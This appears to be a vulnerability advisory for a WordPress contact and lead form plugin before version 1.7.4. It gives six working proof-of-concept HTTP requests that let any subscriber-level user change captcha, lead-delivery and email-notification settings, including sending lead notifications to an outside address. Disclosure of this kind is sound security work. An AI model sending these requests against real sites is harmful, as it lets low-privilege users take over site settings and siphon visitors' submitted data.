WordPress Plugin Vulnerabilities

Contact Form & Lead Form Elementor Builder Plugin < 1.7.4 - Multiple Subscriber+ Settings Update

Description

The plugin doesn't have authorisation and nonce checks, which could allow any authenticated users, such as subscriber to update and change various settings

Proof of Concept

PoC POST Request (ON/OFF Captcha):

POST /wp-admin/admin-ajax.php HTTP/2
Cookie: [any authenticated user]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

captcha-on-off-setting=ON&captcha_on_off_form_id=2&action=SaveCaptchaOption


PoC POST Request (Captcha Settings: Site Key & Secret Key):

POST /wp-admin/admin-ajax.php HTTP/2
Cookie: [any authenticated user]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

captcha-setting-sitekey=YoruOni&captcha-setting-secret=YoruOni&captcha-keys=1&action=SaveCaptchaSettings


PoC POST Request (Lead Receiving Method):

POST /wp-admin/admin-ajax.php HTTP/2
Cookie: [any authenticated user]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

data-recieve-method=3&action-lead-setting=1&action=SaveLeadSettings


PoC POST Request (User Email Notifications):

POST /wp-admin/admin-ajax.php HTTP/2
Cookie: [any authenticated user]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

user_email_setting%5Bfrom%5D=yoruoni%40pm.me&user_email_setting%5Bheader%5D=New+Lead+Received&user_email_setting%5Bsubject%5D=Received+a+lead&user_email_setting%5Bmessage%5D=Form+Submitted+Successfully&user-email-setting-option=OFF&user_email_setting%5Bform-id%5D=1&action=SaveUserEmailSettings


PoC POST Request (Admin Email Notifications):

POST /wp-admin/admin-ajax.php HTTP/2
Cookie: [any authenticated user]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

email_setting%5Bto%5D=yoruoni%40pm.me&email_setting%5Bmultiple%5D=&email_setting%5Bfrom%5D=admin%40x14.tv&email_setting%5Bheader%5D=New+Lead+Received&email_setting%5Bsubject%5D=Form+Leads&email_setting%5Bmessage%5D=%5Blf-new-form-data%5D&email_setting%5Bform-id%5D=1&action=SaveEmailSettings


PoC POST Request (Remember this Form):

POST /wp-admin/admin-ajax.php HTTP/2
Cookie: [any authenticated user]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

form_id=1&action=RememberMeThisForm